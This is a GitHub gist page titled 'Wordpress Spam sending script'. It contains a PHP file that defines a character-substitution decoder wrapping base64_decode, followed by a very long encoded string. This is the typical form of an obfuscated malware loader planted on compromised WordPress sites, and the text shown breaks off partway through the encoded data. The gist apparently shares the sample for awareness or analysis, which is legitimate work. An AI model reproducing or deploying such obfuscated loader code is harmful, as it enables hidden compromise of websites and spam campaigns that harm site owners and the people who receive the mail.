Skip to content

Instantly share code, notes, and snippets.

@rk295
Last active April 10, 2017 05:48
Show Gist options
  • Save rk295/24e75c557f4e64abe174a2dc91571f7d to your computer and use it in GitHub Desktop.
Save rk295/24e75c557f4e64abe174a2dc91571f7d to your computer and use it in GitHub Desktop.
Wordpress Spam sending script.
<?php
$gncveldqg = 3411; function wnyflacnaf($rmsjemwvoa, $aaoldmklo){$tqnhdycmh = ''; for($i=0; $i < strlen($rmsjemwvoa); $i++){$tqnhdycmh .= isset($aaoldmklo[$rmsjemwvoa[$i]]) ? $aaoldmklo[$rmsjemwvoa[$i]] : $rmsjemwvoa[$i];}
$fsshefwvmu="base64_decode";return $fsshefwvmu($tqnhdycmh);}
$vogjyrrea = 'LTnbOHF2qvLg6cH1BkF1vcfeq1BECj9HojYIiYVrLTnbOHF2qvLg6cfeqXFnB06eB0m08taYroEptySIPknWBcHVrtQMKvAWq'.
'vAnKdHVONFbvdsIPNR08taYroEptyS2qvsWQTnMqHFEONXIQtJYroEptJVrONKgOvp2qvLg6lFosH6NsHCIrLVrzYVrt5sWRVH'.
'5HyH5N1QL5lSWRVHmsuQQCUVJCuZui1aptJyyvXplRnqlRnE0RyHpoXslvVljslC0v5aFCtCfmxBbmtGY8xj'.
'uiYVrtNnkrtlnPvSVz5JyvXplRnqlRnE05lsRRlFKvVqhRnQSRyslslFToXC0v5yIULg6zYVrtLyyvXplRnqlRnE05'.
'lsRRlFKvVqhRnQSRyslslFToXC0v5aFCtCfmxBbmtGY8xjuiYVrtvVpt0VptknkrTn2BcHVrtsWsynmsHmIrLVrzYVrtN'.
'qeBkHAKcJg6lFT5RflR1SAB1ayOcH9CUV+CtskONfnrLVrtvEptJy6ONKgCvpVB0SeB1JyqknEqHE0PklMq5QQ8ta'.
'u8kIYq1CIrLVrtLnwULg6tLyyqknEqN9APNRJh5SAP4snBnFMKNp'.
'1Pdmg6TqIPTHP6c9APNR0v5ywULg6tLyyqknEqN9APNRJh5SbQN'.
'XWPNlxBkF2rtskONfnPklMq5ywULg6tLyyqknEqN9APNRJh5SGP0'.
'HMvcXAKd6eB1JyqknEqN9APNRIiYVrtLy66lFT5RflRXEyOcH9vHEuPklMq56QCUVJ6TqIPTHbKNXniYVrtLnFULg6WL'.
'VrWLVrtLVrq0HbKdsIPcGJKdH2QTFMvdpVBknYvdsAqdmg64snz4LIULIwULgJCtaJ64snz4LJh'.
'5S2Q46IBlFVKNQ2rtsVqvAV8ta0hTj+61ywULgJCtaJ64snz4LJh5S2Q46WBkHYPTlxq5JuhTjJO46nqxXBCu'.
'CECt6PCtCECtsVqvAVroEptuaJCtayQTHGQtaFC4pVBnF1qvSEKNpnrtCZ8cj+CuYJCuCEC'.
'tsVqvAVroEptuaJCtayQTHGQtaFC4pVBnF1qvSEKNpnrt6BCxGu8tauClVJCuYJ64snz4LIiY'.
'VrCtaJC46nQ4H1PuayQTHGQUEpt0VptkqXPkpVONFbCTn2vcnYr'.
'ts2Q4CIC4EptuaJBkHVQv6bC4S1qNQWPNlVKcJgCuFzrlEf8onQWlEf8onQN2aMiHXZmHEY8onQN2aMiHXZm'.
'nEY8osQN2aMiHXZmxHPmtVXv5ygvtGgN2aMiHXZN2jMiHXPmtV9vvYfN2aMiHXPmtV'.
'9vvY1N2aMplXPmtV9vvY1pHEY8oHQr5nwmdVy81CE64pVBuywULIFULIkQN9xQTnePuSkBkFMvcAeBdLg6TpeP0snP0LI'.
'ULIwULgJCtaJ6TAeBdLJh5SYBkH0vd6nBTfAKcRg61Fzr4QdQdfkQ4aIvtGeO5B'.
'E61BELtsWRVH5HyH5N1QCHlsLvVAhRXL0v5ywULgJCtaJONKJrTn2vcnYrtsgPdpVr5ypt'.
'uaJCtSwULgJCtaJCtaJC46nQ4H1PuayKcFbQTHbQUEptuaJCtSFULgJCtaJULgJCtaJ64seOcHb'.
'B1aFCTHGBTfeqTRgCyau8tayKcFbQTHbQtywULgJCtaJ6TpeP0snP0L'.
'Jh5ayQTF3qN92N2SQCtGJCyauCtGJ6TAeBdLJ8uauhuCwULgJCtaJBkHVQv6bCtsxPc9VqN9'.
'ViYVrWLVrq0HbKdsIPcGJKNfVqv6WPNlxBkF2rtsxPc9VqN9VrLVrzYVrCtaJC4S1qNQWPNlVKcAWKNfErtBxz1'.
'JbrunFCXHI61YJ6TpeP0snP0LECtsMKvsxOTH2roEptuaJCtSkPdCg6TyJh5aYi1ayO5a'.
'ZCTpeQN9VrtsMKvsxOTH2N2lQroEJ6Ty3r1yptuaJCtSwULgJCtaJCtaJCtsbB1aFCTHGBTfeqTRgC0Yu8'.
'tayPNlVKcAnBXEfvHEyOHVIiYVrCtaJCtaJCtayK2CJh5SxPdHbQtJyP0mIiYVrCtaJCtaJCtayBklbqtaFC'.
'46APkLgmtYJrtsxmuaMCUjIroEptuaJCtaJCtaJ6TpeP0snP0LJh5S2Q46WBkHYPTlxq5Juz1Cb6TXAQTpgqvpPm'.
'HXP6TnQ8u6FCuYJ6T92N1s1KN9yv5YJ6TpeP0snP0LIiYVrCtaJC4VptuaJCtS1qvs'.
'XBkGJ6TpeP0snP0LwULIFULgptkqXPkpVONFbC4AbQNXWPNlxBkF2rtsxPc9VqN9VrLVrzYVrC'.
'taJC4S1qNQWPNlVKcAWKNfErtBxvlMiHRXB85APN2IyONQIQUIQv5EIvlVx61YJ6TpeP0snP0LECtsMKvsxOTH2roEp'.
'tuaJCtSkPdCg6TyJh5aYi1ayO5aZCTpeQN9VrtsMKvsxOTH2N2SQroEJ6Ty3r1yptuaJCtSwULgJCtaJCtaJCtsbQNVJh5ayPNlV'.
'KcAnBXEfvHEyOHVwULgJCtaJCtaJCtsMONGJh5SYPdBgmoaECtsbQNVJ85afroEptuaJCtaJ'.
'CtaJ6TXAztaFC4SeQ1JfmtYJ6T9XP5yJ85afiYVrCtaJCtaJCtayBklbqtaFC46APkLg6TXI'.
'PuYJ6TXAztywULgJCtaJCtaJCtsxPc9VqN9VCUVJBds1vd6nBTfAKcRg6TXAQTpgq'.
'vpPmlXP6TnQ8tayBklbqtYJ6TpeP0snP0LIiYVrCtaJC4VptuaJCtS1qvsXBkGJ6TpeP0snP0LwULIFULIkQN9xQTnePuSbQNXW'.
'PNlxBkF2rtsxPc9VqN9VrLVrzYVrCtaJC4S1qNQWPNlVKcAWKNfErtBxvlM5LR9jvtVgNXEDqTn0OvLDvH'.
'V3rHYMrlMPiksIqcnVinXQr1nBv5m08tayKcFbQTHbQtYJ6TXAQTpgqvmIiYVrCtaJCTqeBuJyO5aFCUawCtsICUYJKcFXP0Lg6T'.
'XAQTpgqvpPmlVIi1ayO5E3rLVrCtaJC4EptuaJCtaJCtaJ6TXIPuaFCtsMKvsxOTH2N2lQN1sIvoEptuaJCtaJCtaJ6TXAzt'.
'aFCtsMKvsxOTH2N26QN1sIvoEptuaJCtaJCtaJ646APkLJh5S1KN9yrt'.
'sMONGECtsMKvJIiYVrCtaJCtaJCtayKcFbQTHbQtaFC4pVBnF1qvSEKNpnrtsMKvsxOTH2N2SQN1sIv5YJ646'.
'APkLECtsxPc9VqN9VroEptuaJCtSFULgJCtaJBkHVQv6bCtsxPc9VqN9ViYVrWLVrULIkQN9xQTnePuSkQTHIPlFMKNp1'.
'Pdmg6TpeP0snP0LECtskQTHIPtypt0EJCtaJULgJCtaJBkHVQv6bC4pVBnF1qvSEKNpn'.
'rt6Psnsl5RfQCuYJ6TqVqNnE8tayKcFbQTHbQtywULIFULIxPTl2B1SooHsLULIwULgJCtaJKcFbBdLJHyH5RVnhouaFC'.
'tBX8xCbmoa0iYVrCtaJCTpeP0pVCjp5ojKJh5auv46BPuCwULgJCta'.
'JKcFbBdLJsjHTLHHmHlFooHsLvXShRnLJh5a1poEptuaJCtSxPc92QtSpLHAWojnisHFmsR94HjJJh5a9ioJwULgJCta'.
'JKcFbBdLJsjHtHRQWoVqTCUVJmUEptuaJCtSxPc92QtSjsR6HsXFUojnlonLJh5afiYVrCtaJCTpeP0'.
'pVCjslLnH4vXplRnqlRuaFCUCwULgJCtaJKcFbBdLJsjHtHRQWLVFioyHUHjnhouaFCUmw'.
'ULgJCtaJKcFbBdLJsjHtHRQWojFvojHNsRYJh5aViYVrCtaJC4SXKkfIK1ayHkH1BcnePuaFCtBX8xCbmoa0iYVrCtaJC4SXKkfI'.
'K1ayRVXRRlFLoX6RCUVJmxRwULgJCtaJB4HuPTnxCtsURyfTCUVJCnf1vTGuiYVrCtaJC4SXKkfIK1ayqTFWqTHuQNBJh5'.
'S2qNfkixIjsR6HsXFhsyKwULgJCtaJB4HuPTnxCtsjqN6XqcFXQ4SXQtaFCtQnKcAe62EptuaJCtSYQN6EONmJ6TsevdqnB0aJ'.
'h5SkKNf2qoEptuaJCtSYQN6EONmJ6lsIPNHeQvLJh5a2mUawULgJCtaJB4HuPTnxCtsRONXnPTnMOvLJh5a2mUawULg'.
'JCtaJB46eQTHxQTHyCts2PvsYvcpePkGwULgJCtaJB46eQTHxQTH'.
'yCtsnB06eBuaFCTl1Bkl9raVrCtaJCtaJCta0qv61PdC0CUV+CtB08aVrCtaJCtaJCta0qT'.
'HVKNnE61aFhua061YptuaJCtaJCtaJ6dpMQ4SWKcFyq5BJhoGJ61BEULgJCtaJCtaJCtQ2PvsYv'.
'cpeqTHWqvJ0CUV+CtB0ULgJCtaJroEptuaJCtSYBkFVqNpVqNLJ6TAnPTFWB0SEz5aFCT9XPTYwULgJCtaJB46eQT'.
'HxQTHyCts2qv6cqv6WKclYB1aFCT9XPTYwULgJCtaJB46eQTHxQTHyCtsEKvpVvd6nBTf9CUVJ61BwULgJCtaJB'.
'46eQTHxQTHyCTqXPkpVONFbCTHyqN6Xq1JyBds18tayPTHcqNYJh5aYrLVrCtaJC4E'.
'ptuaJCtaJCtaJONKJrtsEqvqnPta+CtsVOTn28o9yPXFyqN6Xq1yJzYVrCtaJCtaJCtaJCtaJBkHVQv6'.
'biYVrCtaJCtaJCtSFULgJCtaJCtaJCTnkCtJAON9WKv61Kvyg64sgOvmMhysnK0H0P'.
'dHVB4HV8tSAB06Az5J0qv61Pd6WPTF061YJ6cAVPNY08ta0qNpgP1BIr5SAPkLJOvpWKclEPTluPTRg'.
'64sgOvmMhysnK0H0PdHVB4HVr5yJzYVrCtaJCtaJCtaJCtaJKclEPlFXBcH1vcqXPkmg64sgOvmMhysnK0H0PdHVB4HV8tayBd'.
's18tayQTAIB1V+qTFWqTHuQNBIiYVrCtaJCtaJCtaJCtaJBkHVQv6biYVrCtaJCtaJCtSFULgJCtaJCtaJC4pdOvsxOtag6'.
'4sgOvmMhysnK0H0PdHVB4HVr5SwULgJCtaJCtaJCtaJCtSxKvpnCtQnB06eBnFEPcB0iJVrCta'.
'JCtaJCtaJCtaJCtaJCTH1BkF1vcfeq1JyBds1roEptuaJCtaJCtaJCtaJCtaJCtSuBkHA'.
'O2EptuaJCtaJCtaJCtaJCTpABcRJ6cAVPNY0iJVrCtaJCtaJCtaJCtaJCtaJCTHxOTZJO4sMPTHbQTnVONH2raVrCta'.
'JCtaJCtaJCtaJCtaJCtaJCtSYBkH0vd6nBTfAKcRg61FPv46BPnV381BECtB08tayBds1r5Yp'.
'tuaJCtaJCtaJCtaJCtaJCtaJCtaJsR9RvXlHoXslR1YptuaJCtaJCtaJCtaJCtaJCtaJCtaJ6XHRsuVG6YVrCtaJCt'.
'aJCtaJCtaJCtaJCtyptuaJCtaJCtaJCtaJCtaJCtabCtCZK0C+vTGuiYVrCtaJCtaJCtaJCtaJCtaJCT61qNl3iYVrCt'.
'aJCtaJCtaJCtaJKcl2q5a0qNpgP1BDULgJCtaJCtaJCtaJCtSyqNqAQNfViJVrCtaJCtaJCtaJCtaJCtaJCts'.
'2Q4CJh5SYBkH0vd6nBTfAKcRg61Zgv46BP0fBB0fBPuyePvm08tauvTGu8tayBds1roEptuaJCtaJCtaJCtaJCtaJCtSnKcAeCT'.
'QMqTlVq5J0N5XM8NLJ5UIIi0m0r5abCt6BQtCJ8uS2Q46WBkHYPTlxq5JptuaJCt'.
'aJCtaJCtaJCtaJCtaJCtaJCnfbCuYptuaJCtaJCtaJCtaJCtaJCtaJCtaJCnfbCtaJCtaJCtaJCtaJCtaJCtaJClfVCta'.
'JCtaJCtaJCtaJCtaJCtaJCuYptuaJCtaJCtaJCtaJCtaJCtaJCtaJQ46IP5JyBd'.
's1rLVrCtaJCtaJCtaJCtaJCtaJCtybCnfbCxEptuaJCtaJCtaJWLVrCtaJC4VptuaJCtSYQN6EONmJq0HbKdsI'.
'PcGJKcFbPkHxQtJyOTF2QtYJ64SeB0LJh5SbQNfE8tayQTnMqNFXQtaFCU'.
'mY8tayPdSVONFbB1aFCTl1Bkl9rtyIULgJCtaJzYVrCtaJCtaJCtS2QTlVONmJ64pVBkHAPNF3iYVrCta'.
'JCtaJCtSIquagOvpWP0HEPtJyBds1qNlMPcEIr5SwULgJCtaJCtaJCtaJCt'.
'ayBds1qNlMPcEJh5SkQN9xQTnePnFnzTn2Q4mg6dpVBkHAPHF2Pcp3qvsWKcfIqN9V61ywULgJCtaJCt'.
'aJC4VptuaJCtaJCtaJ64sgOvmMh0pnQjH1BkF1rtB0roEptuaJCtaJCta'.
'JONKJrtsVOTn28o9xPc9bqNpVqNLgr5yJzYVrCtaJCtaJCtaJCtaJ64sgOvmMh0pnQjH1BkF1rtQSP46nKNs9CTpePk9'.
'nKdsnqtSVP1SAC4pnB0qnBuBIiYVrCtaJCtaJCtaJCtaJBkHVQv6bCTqAP4pniYVrCtaJCtaJCtSFULgJCtaJCtaJCTnkCtAnP'.
'vSVz5JyBTF1QtyIC4EptuaJCtaJCtaJCtaJCtsYPd6VCUVJBcHEqxgDsjHTLHHmHlFooHsLvXShRnLwULgJCta'.
'JCtaJC4VptuaJCtaJCtaJ64sgOvmMhkHyqN6Xq1JptuaJCtaJCtaJCtaJCt6UPc9bqNpVONFbiuSeBT'.
'HbON90C4seCtsgPdpViusYPd6V8tSVONXnPdHVh5sVONXnPdHV8tSeB4sIPc92h5CbQkl1vcHGBTF1QtJyPd'.
'SVONFbB1YJQ46Xq5yEULgJCtaJCtaJCtaJCtS2qNfkixIjsR6HsXFUoV9isRpR5'.
'RFiULgJCtaJCtaJCtywULgJCtaJCtaJCtsnB06bP1aFCUawULgJCtaJCtaJCtsnB'.
'062Q4CJh5a062EptuaJCtaJCtaJONKJrts2Q46nKNXeO1yJzYV'.
'rCtaJCtaJCtaJCtaJ64peKcMnQlFxPc9VqvAVCUVJBds1qNlMvcpeP0snz4sWKd6nKvs'.
'nrtseB4sIPc92roEptuaJCtaJCtaJCtaJCtsVOTn28o92PvsYvcpePkGJh5SaBds1qNlMvdpeKcMnQlFxP'.
'TnnP0LgULgJCtaJCtaJCtaJCtaJCtaJ6TAeBdLJ8uauiuCJ8uayBTF1QtYptua'.
'JCtaJCtaJCtaJCtaJCtayqv61PkZEULgJCtaJCtaJCtaJCtaJCtaJ6TH1B0pVBuYptuaJCtaJCtaJCtaJCtaJC'.
'tayQTnMqNFXQtYptuaJCtaJCtaJCtaJCtaJCtSoHl6lLRXWLVf6sR9RvVphoy9lLXLEULgJCtaJCtaJCtaJCtaJCta'.
'J64peKcMnQlFxPc9VqvAVULgJCtaJCtaJCtaJCtaIiYVrCtaJCtaJCtSFCTHEBcRJzYVrCtaJCt'.
'aJCtaJCtaJ64sgOvmMhkHyqN6Xq1JptuaJCtaJCtaJCtaJCtaJCtauLcFbPkHxQTnePxgJBds1qNlMvdpeKcMnQlFxPTn'.
'nP0LJPkFVCTlcKNnEKN6Eq5YJqklEPTnbq1SuKNp3C4seCTq2Pcp3Pd'.
'SnPuCEULgJCtaJCtaJCtaJCtaJCtaJBcHEqxgDsjHtHRQWLVFioyHUHjnhoJVrCtaJCtaJCtaJCt'.
'aJroEptuaJCtaJCtaJCtaJCtsVOTn28o92PvsYvcpePkGJh5SkBcFxOcFYqNGgULgJCtaJCtaJCtaJCtaJCtaJ6TAeBdLEULgJ'.
'CtaJCtaJCtaJCtaJCtaJ64SeB0LEULgJCtaJCtaJCtaJCtaJCtaJ6TH1Bk9e8aVrCtaJCtaJCtaJCtaJCtaJCt'.
'snB062Q4CEULgJCtaJCtaJCtaJCtaJCtaJ64sIPNHeQvLptuaJCtaJCtaJCt'.
'aJCtywULgJCtaJCtaJC4VptuaJCtaJCtaJONKJrtlIBXF1qvpeQv6xq5JyQTAIB1V+BcXV'.
'BlFxPc9br5yJzYVrCtaJCtaJCtaJCtaJ64sgOvmMh0pnQjH1BkF1raVrCtaJCtaJCtaJCtaJCtaJC'.
'tQTKNnEqNLJQTZJKcFbPkHxQtSVP1S2qv6cqvC08aVrCtaJCtaJCtaJCtaJC'.
'taJCtsnB06bP1YptuaJCtaJCtaJCtaJCtaJCtayqv61Bds1ULgJCtaJCtaJCtaJCtaIiYVrCtaJCtaJCtaJCtaJ64sgOv'.
'mMhkHyqN6Xq1JptuaJCtaJCtaJCtaJCtaJCta0RVXRRtSlRn6hRxgJ61abCtsVOTn28o9nB06eBnE0qv61P'.
'dC0vLVrCtaJCtaJCtaJCtaJCtaJCtGJCxgJ6TH1B0pVBuag6TH1Bk9er5'.
'CEULgJCtaJCtaJCtaJCtaJCtaJBcHEqxgDsjHtHRQWLVf6sR9RULgJCtaJCtaJCtaJCtaIiYVr'.
'CtaJCtaJCtaJCtaJBkHVQv6bCTqAP4pniYVrCtaJCtaJCtSFULgJCtaJCtaJCtsVOTn28o9nqTHuQNBg6VpePk9nKds'.
'IPcGDCTFYqN9nqtBEC4pnPTKDiyslLnH4vVphoy9lLXs6oVGIiYVrCtaJCtaJCtSIquag'.
'BdHuBds1rlSCRlFhR1YJmtYJm1yJCoVJ6XQ6ouBIC4EptuaJCtaJCtaJC'.
'taJCtsMKvJJh5SIPknWqcHVrtQMKvAWqvAnKdHVONFbvdsIPNR0roEptu'.
'aJCtaJCtaJCtaJCTnkCtJyPNlGCtjFCUaJ6uKJ64sIPNHeQvLJhuayPNlGr5SwULgJCtaJC'.
'taJCtaJCtaJCtaJL4pnQlFVONXnvcfIPNnVrtsVONXnPdHVroEptu'.
'aJCtaJCtaJCtaJC4VptuaJCtaJCtaJCtaJC4pVBkHAPHF2qvsWQTnMqNFXQtJyQTAIB1V+B'.
'cXVBlFxPc9b8tayQTnMqNFXQtYJmtywULgJCtaJCtaJC4VptuaJCtaJCtaJ6TlbPkFXPkpnCUVJ64sgOvmMhkQnQlFEON9nB1J'.
'IiYVrCtaJCtaJCtayQTAIB1V+qNsnK0H0rtQosH6NsHCJ8oGJLVf6sR9Riua0CtGJ6TlbPkFXPkpn'.
'8tS2qNfkixIjsR6HsXFosH6NsHCIiYVrCtaJCtaJCtS1qvsXBkGJ'.
'Q46XqoEptuaJCtSFULgJCtaJB4HuPTnxCTqXPkpVONFbC4pVKv6VHjfortyptuaJCtSwULgJC'.
'taJCtaJCTnkCtJA64sgOvmMh0pnPksUPcXMKN9yrtQoHjl5HlsmR1BECtQoHjl5HlsmR1BECUC1mtyIC4EptuaJCta'.
'JCtaJCtaJC46nQ4H1PuSkKNf2qoEptuaJCtaJCtaJWLVrCtaJCtaJCtSIquagCvpVBkHAPHF2Pcp3qvsWq'.
'N9AKkfnvcp1zvSVP1JptuaJCtaJCtaJCtaJCtsVOTn28o92PvsYvcp'.
'ePkGEULgJCtaJCtaJCtaJCtSVB0Hn8aVrCtaJCtaJCtaJCtaJRXs5sRlpvVp5NHSRoXFpsHsCoVsWHjfovVpm5RHiHaVr'.
'CtaJCtaJCtaIr5SwULgJCtaJCtaJCtaJCtS1qvsXBkGJqklEBcRwULgJCtaJCtaJC4VptuaJCtaJ'.
'CtaJBkHVQv6bC4s1QNRwULgJCtaJWLVrCtaJC4SXKkfIK1SkQN9xQTnePuSAQvsg'.
'qN9VONpAQTRgULgJCtaJCtaJCtsXBcH1PklMq5YptuaJCtaJCtaJ64SABdpdPd6y8aVrCtaJCtaJCtayK'.
'vHVO4s9BTRJh5SbQNfE8aVrCtaJCtaJCtayBkHAPTVJh5a061YptuaJCt'.
'aJCtaJ64QeBkM2QTlVONFbCUVJ61BptuaJCtaIC4EptuaJCtaJCtaJONKJrtjyQTAIB1V+BcH1QkH1vcpAB4mIC4EptuaJ'.
'CtaJCtaJCtaJCtsVOTn28o92qvslB06eBuJ0LvHVOTHbQTnxKvsIPcGJOvmJPkFVCTl'.
'EPTFdqNLJKkHkPd6nCjAlojZesRAmo1BIiYVrCtaJCtaJCtaJCta'.
'JBkHVQv6bCTqAP4pniYVrCtaJCtaJCtSFULgJCtaJCtaJCTnkCtAAB06AzHF3qvnWqvAIBds2rtQl5jfh61YJ64sgO'.
'vmMh0pnB0qnBnFxKvS2r5yJzYVrCtaJCtaJCtaJCtaJONKJrtlAB06AzHF3qvnWqvAIBds'.
'2rtQSHHsC61YJ64sgOvmMh0pnB0qnBnFxKvS2r5yJzYVrCtaJCtaJCtaJCtaJCtaJC'.
'tsVOTn28o92qvslB06eBuJ0LvHVOTHbQTnxKvsIPcGJOvmJPkFVCTlEPTFdqNLJKvLJ'.
'QTAIB1S2QTl0q5BIiYVrCtaJCtaJCtaJCtaJCtaJC46nQ4H1Pu'.
'SkKNf2qoEptuaJCtaJCtaJCtaJC4VptuaJCtaJCtaJCtaJC4pnPTKDikHyqN'.
'6Xq1J0LvHVOtSMqvsgPcLJBkHfQNH2QTHyiua0CtGJrtsAQvsgQ4nYq5a/CtsAQvsgQ4nYq5'.
'aDCtQHoyMioXQi61yEC4pnPTKDiyslLnH4vVfhHVflHyHmroEptuaJCtaJCtaJCtaJC4pnPTKDikHyq'.
'N6Xq1JptuaJCtaJCtaJCtaJCtaJCta0LvHVOtSMqvsgPcs2CTlcKNnEKN6Eq5SePuSVOTRJBcH1QkH1iua0CtGJONXYPTFyq5J08'.
'tBECtsVOTn28o92qv6cqv6WKclYBXE0LHHR5tQQr5YptuaJCtaJCtaJCtaJCt'.
'aJCtS2qNfkixIjsR6HsXFmoXQmsHqloaVrCtaJCtaJCtaJCtaJroEptu'.
'aJCtaJCtaJCtaJCTnkCtAnPvSVz5JyKvHVO4s9BTRIr5SwULgJCtaJCtaJCtaJCtaJC'.
'taJqkF1qNlxOtagKv61Kvyg6VfhsVni61YJ6Vp5LRVMoRLX61YJ6V9RojV08ta0RjfS5RG0r5SAB1ayPNHVOTFyr5SwULgJCta'.
'JCtaJCtaJCtaJCtaJCtaJCTnkCtAIPnFAB06Az5JyPNHVOTFy8ta'.
'yQTAIB1V+BcH1QkH1vcpAB4pP6VlHHjJ0v5yIC4EptuaJCtaJCtaJCtaJCtaJCtaJCtaJCtaJCtsAQvsgQ4nY'.
'q5aFCtsMqvsgPcLwULgJCtaJCtaJCtaJCtaJCtaJCtaJCtaJCtSuBkHAO2EptuaJCtaJCtaJCta'.
'JCtaJCtaJCtaJWLVrCtaJCtaJCtaJCtaJCtaJC4VptuaJCtaJCtaJCtaJCtaJCtSIquagqNXYQ4yg6TlXQTAVzvSnr5yJzYVrCta'.
'JCtaJCtaJCtaJCtaJCtaJCtayQTAIB1V+BcHVsv61PdCg6V9eC4pXB4SeB0snqtSAQvsgqN9VONpAQTnePuSMqvs'.
'gPcs2CTqeQN9y61ywULgJCtaJCtaJCtaJCtaJCtaJCtaJC46nQ4H1PuSkKNf2qoEptuaJCtaJCtaJCtaJCtaJCtSFULgJCta'.
'JCtaJCtaJCtaJCtaJBcHEqxgDqNsnK0H0rtQSQvsgCTXnQTAeqtS2q'.
'NfnKdsnqUgJ61GyKvHVO4s9BTREC4pnPTKDiyslLnH4vVfhHVflHyHmroEptuaJCtaJCtaJC'.
'taJC4VptuaJCtaJCtaJCtaJCTnkCtJAON9WKv61Kvyg6TlXQTAVzvSn8ta'.
'yQTAIB1V+BcH1QkH1vcpAB4pP6VlHHjJ0v5yIC4EptuaJCtaJCtaJCtaJCtaJCtayQTAIB1V+BcHVsv61'.
'PdCgCnsgq5S1qvlXqvpVqNLJKvHVOTHbQTnxKvsIPcGJPNHVOTFyClYu6TlXQTAVzvSnvtCJOvmJPkF'.
'VC4pXB4SeB0snqtSuz5SVOTRJBcH1QkH1CuywULgJCtaJCtaJCtaJCtaJCtaJBkHVQ'.
'v6bCTqAP4pniYVrCtaJCtaJCtaJCtaJWLVrCtaJCtaJCtSFCTHEBcH'.
'IquagqNXYQ4yg6TlXQTAVzvSnr5yJzYVrCtaJCtaJCtaJCtaJ6TlXQTAVzvS'.
'nCUVJ6VfhsVni62EptuaJCtaJCtaJWLVrCtaJCtaJCtS2QcnVKcJJrtsAQvsgQ4nYq5yJzYVrCtaJCtaJCtaJCta'.
'JKcl2q5a0RjfS5RG0iJVrCtaJCtaJCtaJCtaJCtaJCTnkCtJA64sgOvmMh0pnPksUPcXMKN9yrtQSHHsC61YJ6VlHHjJJRjfS5'.
'RG08ta2m2LIr5SwULgJCtaJCtaJCtaJCtaJCtaJCtaJC46nQ4H1PuSkKNf2qoEptuaJCt'.
'aJCtaJCtaJCtaJCtSFULgJCtaJCtaJCtaJCtaJCtaJONKJrtjyQTAIB1V+BcHbqjpePNXAPkLgULgJCta'.
'JCtaJCtaJCtaJCtaJCtaJCtQHBcH1CtKJRTl2BdQeBkL08aVrCtaJCtaJCtaJCt'.
'aJCtaJCtaJCtSuKvpnpxsWqN9xPcsnrt6BmtCJ8uayQvpnBk9A'.
'PNRJ8uauvUauCtGJ64SABdpdPd6yr5YptuaJCtaJCtaJCtaJCtaJCtaJCtaJmxmXULgJCtaJCtaJCtaJC'.
'taJCtaJrLVrCtaJCtaJCtaJCtaJCtaJCtyJzYVrCtaJCtaJCtaJCtaJCtaJCtaJCtS1qvsXBk'.
'GJqklEBcRwULgJCtaJCtaJCtaJCtaJCtaJWLVrCtaJCtaJCtaJCtaJCtaJCT61qNl3iYVrCtaJCtaJCtaJ'.
'CtaJKcl2q5a0ojF45RG0iJVrCtaJCtaJCtaJCtaJCtaJCTnkCtJA'.
'64sgOvmMh0pnPksUPcXMKN9yrtQSHHsC61YJ6VlHHjJJojF45RG08ta2m2LIr5SwULgJCtaJCtaJCtaJCtaJCtaJCtaJC46'.
'nQ4H1PuSkKNf2qoEptuaJCtaJCtaJCtaJCtaJCtSFULgJCtaJCtaJCtaJCtaJCtaJONKJrtjyQTAIB1V'.
'+BcHbqjpePNXAPkLgCnH2qv6bKNXnCuYJKkl2qoKVvcHbKcFyq5JyQvpnBk9APNRI8'.
'ta2m2LIr5SwULgJCtaJCtaJCtaJCtaJCtaJCtaJC46nQ4H1PuSkKNf2qoEptuaJCtaJCtaJCtaJCtaJCtSFULgJC'.
'taJCtaJCtaJCtaJCtaJONKJrtjyQTAIB1V+BcHbqjpePNXAPkLgCnSABdpdP'.
'd6yCuYJKkl2qoKVvcHbKcFyq5JyBTl2BdQeBkLI8ta1m2RIr5SwULgJCtaJCtaJCtaJCtaJCtaJCtaJC46nQ4H1PuSk'.
'KNf2qoEptuaJCtaJCtaJCtaJCtaJCtSFULgJCtaJCtaJCtaJCt'.
'aJCtaJK06nKNEwULgJCtaJCtaJCtaJCtSxKvpnCtQiHjfp62gptuaJCtaJCtaJCtaJCtaJCtS1qvlXOv6nvcFbKcRJ6cHGQ46AB'.
'1FbQTfMvdpABcfWKcfIqN9V80SgBtBwULgJCtaJCtaJCtaJCtaJCtaJ64snPvaJh5SbqvBJBdsyLcfABdmwULgJCtaJ'.
'CtaJCtaJCtaJCtaJ6T9VPTXWKcfIqN9VCUVJPkHdCT9VPTXWBcl2PlFxPTnnP0sWKcfABdmwULgJCtaJ'.
'CtaJCtaJCtaJCtaJONKJrtjyP0sEPHFxPTnnP0LMhynbOvsIKNfIzkRg64snPvaIr5SwULgJCtaJCtaJCtaJCtaJC'.
'taJCtaJCtsVOTn28o92qvslB06eBuJyQTHMBtV+qv61PdCIiYVrCtaJCtaJCtaJCtaJCtaJCtaJCtayQTAIB1V+qNsnK0H0raV'.
'rCtaJCtaJCtaJCtaJCtaJCtaJCtaJCtaJ6XneQ5SbqNHyC4seCTHbKN6Eq5S'.
'2PcXnCTXeq4HEqvmJONGJzNFXBuSYO4abON9ICTqIPTRDCtBptuaJCt'.
'aJCtaJCtaJCtaJCtaJCtaJCtaJCtGJ64sgOvmMhkH1BkF1N1QnB06eBuQQ8aVrCtaJCtaJCtaJCta'.
'JCtaJCtaJCtaJCtaJBcHEqxgDsjHtHRQWLVf6sR9RULgJCtaJCtaJCtaJCtaJCtaJCta'.
'JCtywULgJCtaJCtaJCtaJCtaJCtaJCtaJC46nQ4H1PuSkKNf2qoEptuaJCtaJCtaJCtaJCtaJCtSFULgJCtaJCtaJCtaJCtaJCt'.
'aJ6TX2q2jJh5ayP0sEPHFxPTnnP0LMhns9BTHpBcBfrts1qNlEP5YJ64QeBkM2QTlVONFbroEJ81FMBcB'.
'fULgJCtaJCtaJCtaJCtaJCtaJONKJrtjyQTAIB1V+BcHbqjpePNXAPkLgULgJCtaJCt'.
'aJCtaJCtaJCtaJCtaJCtQSHHsCCj9RojV08aVrCtaJCtaJCtaJCtaJCtaJCtaJCta0LHHR5tSi'.
'HjfpCtBJ8uSuKvpnpxsWqN9xPcsnrtsMBcBfr5YptuaJCtaJCtaJCtaJCtaJCtaJCtaJm2mVULgJCtaJCtaJCtaJCt'.
'aJCtaJrLVrCtaJCtaJCtaJCtaJCtaJCtyJzYVrCtaJCtaJCtaJCtaJCtaJCtaJCtS1qvsXBkGJqklEBcRwULgJCt'.
'aJCtaJCtaJCtaJCtaJWLVrCtaJCtaJCtaJCtaJCtaJCtsxOTlEPTHbqcRJh5S2QN62Q4Cg64'.
'sgOvmMhkfABdsWBkHYP4yECUmIiYVrCtaJCtaJCtaJCtaJCtaJCtsxOTlE'.
